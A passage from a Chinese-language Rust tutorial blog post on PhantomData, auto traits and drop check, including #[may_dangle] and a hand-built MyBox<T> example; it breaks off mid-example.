&lt;p&gt;一共6种 Marker Type 来手动标注类型的variance property，它们的用法可以查看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;blob&#x2F;9f07d055f7823ac0e17e014f3effa2a0be0947e9&#x2F;src&#x2F;libcore&#x2F;marker.rs%23L223&quot;&gt;当时的Rust源代码注释&lt;&#x2F;a&gt;。而有了PhantomData之后，这6种类型全部被弃用，因为它们都可以通过PhantomData来表达。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;提案前写法&lt;&#x2F;th&gt;&lt;th&gt;提案后写法&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;InvariantType&lt;T&gt;&lt;&#x2F;td&gt;&lt;td&gt;PhantomData&amp;lt;Cell&lt;T&gt;&amp;gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ContravariantType&lt;T&gt;&lt;&#x2F;td&gt;&lt;td&gt;PhantomData&amp;lt;fn(T)&amp;gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CovariantType&lt;T&gt;&lt;&#x2F;td&gt;&lt;td&gt;PhantomData&lt;T&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;InvariantLifetime&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;PhantomData&amp;lt;Cell&amp;lt;&amp;amp;&#x27;a ()&amp;gt;&amp;gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ContravariantLifetime&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;PhantomData&amp;lt;fn(&amp;amp;&#x27;a ()) &amp;gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CovariantLifetime&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;PhantomData&amp;lt;&amp;amp;&#x27;a ()&amp;gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;如果懂得variance，应该是能理解提案后写法的。&lt;&#x2F;p&gt;
&lt;p&gt;而上面所有内容就是PhantomData类型出现的初衷，强制规定了每一个类型参数的variance property，而不仅仅是占位。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-oibit-auto-trait&quot;&gt;2. OIBIT(auto trait)&lt;&#x2F;h2&gt;
&lt;p&gt;OIBIT全称opt in builtin traits，之后的新名字是auto trait，常见auto trait比如有Send和Sync，不需要手写 impl 就可以由编译器自动推导是否满足。当然，我们也可以使用 unsafe impl 来指定实现这个trait，或者impl !TraitName 来排除这个trait，排除trait不是unsafe的，但是unstable的，需要用nightly版本编译。&lt;&#x2F;p&gt;
&lt;p&gt;目前有5个auto trait，分别是&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Send&lt;&#x2F;li&gt;
&lt;li&gt;Sync&lt;&#x2F;li&gt;
&lt;li&gt;Unpin&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;UnwindSafe&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;RefUnwindSafe&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;PhantomData的规则是，只要 T 实现了上面某个trait，那么 PhantomData&lt;T&gt; 同样实现某个trait。比如如果 T 是满足 Send 的，那么PhantomData&lt;T&gt; 也自动满足 Send。&lt;&#x2F;p&gt;
&lt;p&gt;有了这个特点，我们就可以通过PhantomData来排除一些我们不想要实现的trait，示例如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct MyStruct {
    _field: PhantomData&amp;lt;Rc&amp;lt;()&amp;gt;&amp;gt;,
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为Rc&lt;T&gt; 是 !Send的，所以导致MyStruct 最后也是 !Send，但是我们如果直接写 &lt;code&gt;impl !Send for MyStruct&lt;&#x2F;code&gt;， 目前则需要使用nightly编译器，如果使用stable编译器，编译器就会提示 &lt;code&gt;negative trait bounds are not yet fully implemented; use marker types for now &lt;&#x2F;code&gt; 证实了PhantomData可以用来排除不需要的auto trait。这里我们再一次体会到，PhantomData不只是用来占位的，即使 &lt;code&gt;MyStruct&lt;&#x2F;code&gt; 本身没有任何类型参数，也可以包含有PhantomData。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-drop-check&quot;&gt;3. Drop Check&lt;&#x2F;h2&gt;
&lt;p&gt;Rust的特点是宣称无需GC的前提下保证内存安全，其中一种方式就是使用RAII，在创建结构体的时候获取资源，在析构(之后全部称drop)的时候释放资源。而在drop的时候，因为rust允许访问struct所有的成员，因此要保证不能访问到已经无效的数据，这就是drop check。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;为了先体会drop check，可以简单认为，drop check只需要检查实现了drop方法，且其drop方法有类型参数的结构体&lt;&#x2F;strong&gt;(之后会形式化定义)&lt;&#x2F;p&gt;
&lt;p&gt;在rust中，类型参数不仅仅指其他语言中也常见的&lt;code&gt;T&lt;&#x2F;code&gt;，也包括生命周期参数，例子如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct Node&amp;lt;T&amp;gt; {
    val: T,       &amp;#x2F;&amp;#x2F;   T是类型参数, 称为 type parameter
}
struct Node&amp;lt;&amp;#x27;a&amp;gt; {
    val: &amp;amp;&amp;#x27;a i32, &amp;#x2F;&amp;#x2F; &amp;#x27;a 也是类型参数，称为 lifetime parameter
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-1-dai-you-sheng-ming-zhou-qi-biao-zhu-de-dropfang-fa&quot;&gt;&lt;strong&gt;3.1 带有生命周期标注的drop方法&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; 代码1
struct Node&amp;lt;&amp;#x27;a&amp;gt; {
    val: Option&amp;lt;&amp;amp;&amp;#x27;a i32&amp;gt;, &amp;#x2F;&amp;#x2F; &amp;#x27;a 也是类型参数
}

impl&amp;lt;&amp;#x27;a&amp;gt; Drop for Node&amp;lt;&amp;#x27;a&amp;gt; {
    fn drop(&amp;amp;mut self) {
         println!(&amp;quot;{}&amp;quot;, self.val.unwrap());
    }
}

fn main() {

    let x = 123;
    let node = Node{val: Some(&amp;amp;x)}; &amp;#x2F;&amp;#x2F; ok, 因为node比x先drop
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面这段代码是能正常编译的，因为按rust规则，在代码段中先声明的变量后drop，也就是说node比x先drop，那当node在执行自己的drop函数时，x一定还没有被释放，所以编译器编译成功。&lt;&#x2F;p&gt;
&lt;p&gt;如果只是调换一下x和node位置，则编译失败&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; 代码2
struct Node&amp;lt;&amp;#x27;a&amp;gt; {
    val: Option&amp;lt;&amp;amp;&amp;#x27;a i32&amp;gt;, &amp;#x2F;&amp;#x2F; &amp;#x27;a 也是类型参数
}

impl&amp;lt;&amp;#x27;a&amp;gt; Drop for Node&amp;lt;&amp;#x27;a&amp;gt; {
    fn drop(&amp;amp;mut self) {
        &amp;#x2F;&amp;#x2F; drop函数不再访问&amp;amp;i32, 但也不能编译成功
    }
}

fn main() {

    let mut node = Node{val: None};
    let x = 123;
    node.val = Some(&amp;amp;x);  &amp;#x2F;&amp;#x2F; error, `x` does not live long enough
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;调换顺序后，编译器知道x比node先drop，也就是说x的生命周期比node更短，因此不满足Node的定义，因此编译失败。这也是drop check的成果，分析出drop函数中还存在资源引用，虽然实际上我们在drop函数中并没有访问i32的引用，但目前的rust编译器还没有智能到那一步，它只会预防我们访问所有可能的引用。&lt;&#x2F;p&gt;
&lt;p&gt;再补充一个概念 &lt;strong&gt;，Strictly outlives&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们知道，生命周期之间可以判断是否有包含关系，当我们说&#x27;a : &#x27;b 的时候，说明 &#x27;a 的范围是&lt;strong&gt;大于等于&lt;&#x2F;strong&gt; &#x27;b 的，我们不关心到底是大于还是等于。但是现在引入一个&quot;strictly outlives&quot;的概念，要求一定要大于而不能等于。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;{
    let a = 1;
    let (b, c);
    b = 2;
    c = 3;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在上面代码中，a的生命周期strictly outlives b和c的生命周期。而b和c的生命周期是相同的，不存在strictly outlives关系。因为rust规定，&lt;strong&gt;在一个let语句中的变量具有相同的生命周期。&lt;&#x2F;strong&gt; 所以，同一个结构体中的变量也都有一样的生命周期。&lt;&#x2F;p&gt;
&lt;p&gt;而在drop check中，就要求这些类型参数Strictly outlives T，例子如下:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct Node&amp;lt;&amp;#x27;a&amp;gt; {
    val: Option&amp;lt;&amp;amp;&amp;#x27;a i32&amp;gt;,
    i: i32,
}

impl&amp;lt;&amp;#x27;a&amp;gt; Drop for Node&amp;lt;&amp;#x27;a&amp;gt; {
    fn drop(&amp;amp;mut self) {

    }
}

fn main() {

    let mut node = Node{val: None, i: 1};
    node.val = Some(&amp;amp;node.i); &amp;#x2F;&amp;#x2F; borrow may still be in use when destructor runs
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在上面的代码中，按照drop order，变量val会先drop，然后才drop变量i，但这段代码仍然无法通过编译，原因就是没有Strictly outlives。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-dai-you-lei-xing-biao-zhu-de-dropfang-fa&quot;&gt;&lt;strong&gt;3.2&lt;&#x2F;strong&gt;  带有类型标注的drop方法&lt;&#x2F;h3&gt;
&lt;p&gt;如果结构体drop函数不再有 &#x27;a 这样的生命周期标注，只有表示类型的 T，是否就不存在生命周期的问题了呢，答案显然是No，因为T本身可以是任何类型，包括带生命周期的结构体，所以可能会隐式地包含生命周期的问题。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; 代码3
struct Node&amp;lt;T&amp;gt; {
    val: Option&amp;lt;T&amp;gt;, &amp;#x2F;&amp;#x2F; &amp;#x27;a 也是类型参数
}

impl&amp;lt;T&amp;gt; Drop for Node&amp;lt;T&amp;gt; {
    fn drop(&amp;amp;mut self) {
        &amp;#x2F;&amp;#x2F; drop函数不访问T, 但也不能编译成功
    }
}

fn main() {

    let mut node = Node{val: None};
    let x = 123;
    node.val = Some(&amp;amp;x);  &amp;#x2F;&amp;#x2F; error, `x` does not live long enough
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们把代码2中 &lt;code&gt;Node&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;  替换成 &lt;code&gt;Node&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; , &lt;code&gt;main&lt;&#x2F;code&gt; 函数中的内容不变，仍然编译失败。rust的drop check仍然检查出我们可能会访问到无效内存，即使这是个空的&lt;code&gt;drop&lt;&#x2F;code&gt;函数。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-3-bu-dai-ren-he-lei-xing-can-shu-de-drophan-shu&quot;&gt;3.3 不带任何类型参数的drop函数&lt;&#x2F;h3&gt;
&lt;p&gt;如果drop函数不带任何类型参数，无论是&lt;code&gt;&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt; 还是 &lt;code&gt; ，那么这个drop函数一定是安全的。因为这个struct中的所有成员一定都属于这个struct。因为没有生命周期标注`&amp;lt;&#x27;a&amp;gt;` 意味着不会有任何引用，没有&lt;&#x2F;code&gt; 也排除了隐含引用的可能。所以&lt;strong&gt;不会有drop check&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-4-mei-you-drophan-shu-de-jie-gou-ti&quot;&gt;3.4 没有drop函数的结构体&lt;&#x2F;h3&gt;
&lt;p&gt;如果一个结构体没有drop函数，则能证明在释放它的时候，一定不会访问它的任何成员变量，也就&lt;strong&gt;不需要有drop check&lt;&#x2F;strong&gt;，且我们还能将它的生命周期提前结束，这样更符合直觉一点。比如下面的代码4&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; 代码4
struct Node&amp;lt;&amp;#x27;a&amp;gt; {
    val: Option&amp;lt;&amp;amp;&amp;#x27;a mut i32&amp;gt;, &amp;#x2F;&amp;#x2F; &amp;#x27;a 也是类型参数
}

&amp;#x2F;&amp;#x2F; Node 没有了drop方法
fn main() {

    let mut node = Node{val: None};
    let mut x = 123;
    node.val = Some(&amp;amp;mut x);
    println!(&amp;quot;{}&amp;quot;, x); &amp;#x2F;&amp;#x2F; ok, 输出123
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;和代码3相比，我们不仅删除了Node的drop方法(其实这样就已经能编译成功了)，还修改Node的定义，要求传入一个可变引用，但最后能成功运行并打印出123，说明node的生命周期在打印 x 的值之前已经结束了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-5-may-dangle&quot;&gt;3.5 #[may_dangle]&lt;&#x2F;h3&gt;
&lt;p&gt;在3.1节的代码2中，即使我们的drop函数是空的，但由于编译器保守认为我们可能在drop函数中访问成员变量，所以编译失败。&lt;&#x2F;p&gt;
&lt;p&gt;但是Rust也提供了一种 unstable 机制，让程序员显式告示编译器，保证在drop函数中不会访问跟类型参数有关的成员变量，于是3.1中的代码2可以改写为&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#![feature(dropck_eyepatch)]

struct Node&amp;lt;&amp;#x27;a&amp;gt; {
    val: Option&amp;lt;&amp;amp;&amp;#x27;a i32&amp;gt;, &amp;#x2F;&amp;#x2F; &amp;#x27;a 也是类型参数
}

&amp;#x2F;&amp;#x2F; 在&amp;#x27;a 前加#[may_dangle]，编译器不再检查关于&amp;#x27;a 的任何访问，所以代码编译成功
unsafe impl&amp;lt;#[may_dangle]&amp;#x27;a&amp;gt; Drop for Node&amp;lt;&amp;#x27;a&amp;gt; {
    fn drop(&amp;amp;mut self) {

    }
}

fn main() {

    let mut node = Node{val: None};
    let x = 123;
    node.val = Some(&amp;amp;x);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的代码可以通过编译，因为在Drop trait的生命周期参数 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 前加了 &lt;code&gt;#[may_dangle]&lt;&#x2F;code&gt;，告诉编译器我们保证代码里不会访问包含生命周期为 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 的任何类型的值，所以编译器会忽略对 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 的生命周期检查，无论是访问带 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 的变量，还是drop 带&lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 的变量。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-6-xing-shi-hua-drop-check&quot;&gt;3.6 形式化drop check&lt;&#x2F;h3&gt;
&lt;p&gt;通过上面的例子，大概能体会到drop check的功能，直白说就是检查drop函数中是否可能合法访问结构体的所有成员变量，特别是引用变量。接下来形式化说明，drop check到底是怎么检查代码是否合法的。&lt;&#x2F;p&gt;
&lt;p&gt;但首先引入一个概念: &lt;strong&gt;drop glue&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Drop glue is compiler generated and first calls&amp;lt;T as Drop&amp;gt;::drop and then recursively calls the drop glue of any recursively &lt;strong&gt;owned values&lt;&#x2F;strong&gt;. 简单说就是编译器生成的，用于调用drop函数的代码。然而需要注意的是，原文用词是owned values，并不是调用每一个值的drop glue。比如如果 T 有成员 &lt;code&gt;t1: Vec&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;  ，那么drop glue会调用t1的 drop 函数。如果 T 有成员 &lt;code&gt;t2: &amp;amp;mut Vec&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;，drop glue 则不会调用 &lt;code&gt;t2.drop()&lt;&#x2F;code&gt;，因为按照规则 t2 不属于 T 的owned values。具体哪些算owned values，哪些不算，可以查阅rust dev-guide&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_4&quot;&gt;[4]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来继续说明drop check的流程。这里引用Rust doc中&lt;strong&gt;drop check&lt;&#x2F;strong&gt;&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_5&quot;&gt;[5]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; 的定义，而不是&lt;strong&gt;RFC-0769&lt;&#x2F;strong&gt;&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_6&quot;&gt;[6]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; 中定义，因为 RFC-0769 写于2013年8月，过于古老，和现在的规则虽然精神内核一样，但具体规则已经有所不同。&lt;&#x2F;p&gt;
&lt;p&gt;rust doc关于drop check的检查过程是这样说的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果类型 T 和它的所有 (recursive) fields 都没有实现 Drop trait的话（即 T 没有drop glue），不进行drop check。其中&lt;code&gt;PhantomData&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;and&lt;code&gt;ManuallyDrop&lt;&#x2F;code&gt;  都被认为是没有实现Drop trait的。&lt;&#x2F;li&gt;
&lt;li&gt;如果 T 实现了Drop trait，那么无论 T 的 type parameter 还是 lifetime parameter都要保证在drop 函数中是有效的(注: 但如果有 #[may_dangle] 修饰&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_7&quot;&gt;[7]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;，会完全忽略)。&lt;&#x2F;li&gt;
&lt;li&gt;如果 T 有drop glue，那么对 T 递归&lt;strong&gt;包含(own)&lt;&#x2F;strong&gt; 的所有的类型 U来说，要保证 U 在 drop 时，所有类型或生命周期都是有效的。(注意，这里和drop glue相同的是都要求包含关系，但drop glue关心的是value，这里关心的是类型)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;接下来说明如何&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;ops&#x2F;trait.Drop.html%23drop-check&quot;&gt;计算包含(own)关系&lt;&#x2F;a&gt;，这里直接搬运一下(如果你能坚持看到这里，下面这段原文也一定能大概理解)&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The set of owned types is determined by recursively traversing&lt;code&gt;T&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Recursively descend through &lt;code&gt;PhantomData&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;, &lt;code&gt;Box&lt;&#x2F;code&gt;, tuples, and arrays (including arrays of length 0).&lt;&#x2F;li&gt;
&lt;li&gt;Stop at reference and raw pointer types as well as function pointers and function items; they do not own anything.&lt;&#x2F;li&gt;
&lt;li&gt;Stop at non-composite types (type parameters that remain generic in the current context and base types such as integers and &lt;code&gt;bool&lt;&#x2F;code&gt;); these types are owned.&lt;&#x2F;li&gt;
&lt;li&gt;When hitting an ADT with &lt;code&gt;impl Drop&lt;&#x2F;code&gt;, stop there; this type is owned.&lt;&#x2F;li&gt;
&lt;li&gt;When hitting an ADT without &lt;code&gt;impl Drop&lt;&#x2F;code&gt;, recursively descend to its fields. (For an &lt;code&gt;enum&lt;&#x2F;code&gt;, consider all fields of all variants.)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;简单说，就是定义了 T 的成员变量的这些类型，哪些算包含，哪些不算包含。&lt;&#x2F;p&gt;
&lt;p&gt;比如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct OwnedVec {
    v: Vec&amp;lt;i32&amp;gt; &amp;#x2F;&amp;#x2F; OwnedVec 包含(own) Vec&amp;lt;i32&amp;gt;，需要对Vec&amp;lt;i32&amp;gt;进行检查
}

struct UnownedVec {
    v: &amp;amp;mut Vec&amp;lt;i32&amp;gt; &amp;#x2F;&amp;#x2F; 因为只持有Vec&amp;lt;i32&amp;gt;的引用，根据上面第2条，Stop at reference，因此不拥有Vec&amp;lt;i32&amp;gt;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么到目前为止，drop check和PhantomData到底又有什么关系呢？ 讲述一个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.youtube.com&#x2F;%40jonhoo&quot;&gt;Jon Gjengset&lt;&#x2F;a&gt; 的例子&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;686143745?utm_campaign=shareopn&amp;amp;utm_medium=social&amp;amp;utm_psn=1750982442008432641&amp;amp;utm_source=wechat_session#ref_8&quot;&gt;[8]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; 就明白了。&lt;&#x2F;p&gt;
&lt;p&gt;前面铺垫了那么多，现在思考一下，什么情况需要用到#[may_dangle]，一个例子是Box&lt;T&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rust-phantomdata&#x2F;box-may-dangle-drop-check.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Box&lt;T&gt; 的drop方法用到了#[may_dangle]&lt;&#x2F;p&gt;
&lt;p&gt;为什么呢？让我们尝试自己实现一个简单的MyBox&lt;T&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::ops::{Deref, DerefMut};

pub struct MyBox&amp;lt;T&amp;gt; {
    p: *mut T,

}

impl&amp;lt;T&amp;gt; Drop for MyBox&amp;lt;T&amp;gt; {
    fn drop(&amp;amp;mut self) {
        &amp;#x2F;&amp;#x2F; 用指针p重装一个Box&amp;lt;T&amp;gt;，Box&amp;lt;T&amp;gt;drop时会自动释放p的内存
        let _ = unsafe {Box::from_raw(self.p)};
    }
}

impl&amp;lt;T&amp;gt; MyBox&amp;lt;T&amp;gt;{
    pub fn new(t: T) -&amp;gt; Self {
        MyBox {
            p: Box::into_raw(Box::new(t)), &amp;#x2F;&amp;#x2F; 用原来的Box来申请内存，获取指针
        }
    }
}

impl&amp;lt;T&amp;gt; Deref for MyBox&amp;lt;T&amp;gt; {
    type Target = T;

    fn deref(&amp;amp;self) -&amp;gt; &amp;amp;Self::Target {
        unsafe {&amp;amp;*self.p}
    }
}

impl&amp;lt;T&amp;gt; DerefMut for MyBox&amp;lt;T&amp;gt; {

    fn deref_mut(&amp;amp;mut self) -&amp;gt; &amp;amp;mut Self::Target {
        unsafe {&amp;amp;mut *self.p}
    }
}

fn main() {

    let x = 42;
    let b = MyBox::new(x);
    println!(&amp;quot;{}&amp;quot;, *b);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;简易的MyBox&lt;T&gt;如上所示，利用了原本的Box来管理内存。&lt;&#x2F;p&gt;
&lt;p&gt;看上去没有什么问题，但下面的代码会报错&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {

    let mut x = 42;
    let b = MyBox::new(&amp;amp;mut x);
    println!(&amp;quot;{}&amp;quot;, x); &amp;#x2F;&amp;#x2F;cannot borrow `x` as immutable because it is also borrowed as mutable
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为MyBox有drop函数，会一直持有 x 的可变引用到其执行drop 函数，所以无法在中间用x的不可变引用打印值。但是，我们在MyBox的drop函数中并不会访问指针p的内容，只是将其drop掉了。这时候，就可以在MyBox的drop函数签名上加上 &lt;code&gt;#[may_dangle]&lt;&#x2F;code&gt;，编译器不再检查 &lt;code&gt;T&lt;&#x2F;code&gt; 。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;unsafe impl&amp;lt;#[may_dangle] T&amp;gt; Drop for MyBox&amp;lt;T&amp;gt; { &amp;#x2F;&amp;#x2F; 开启#[may_dangle]，编译器不再检查T的生命周期问题
    fn drop(&amp;amp;mut self) {
        let _ = unsafe {Box::from_raw(self.p)};
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然而，这样忽略 &lt;code&gt;T&lt;&#x2F;code&gt; 的所有行为，无论是访问&lt;code&gt;T&lt;&#x2F;code&gt;, 移动&lt;code&gt;T&lt;&#x2F;code&gt; 还是drop &lt;code&gt;T&lt;&#x2F;code&gt; ，编译器都不检查，又会产生新的如下问题&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct Wrapper&amp;lt;T: Debug&amp;gt;(T);

impl&amp;lt;T: Debug&amp;gt; Drop for Wrapper&amp;lt;T&amp;gt; {
    fn drop(&amp;amp;mut self) {
        &amp;#x2F;&amp;#x2F; Wrapper在drop时真的会访问 T
        println!(&amp;quot;wrapper access inner {:?}&amp;quot;, self.0);
    }
}

fn main() {

    let mut x = 42;
    let wrapper = Wrapper(&amp;amp;mut x);
    let b = MyBox::new(wrapper);
    println!(&amp;quot;{}&amp;quot;, x);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
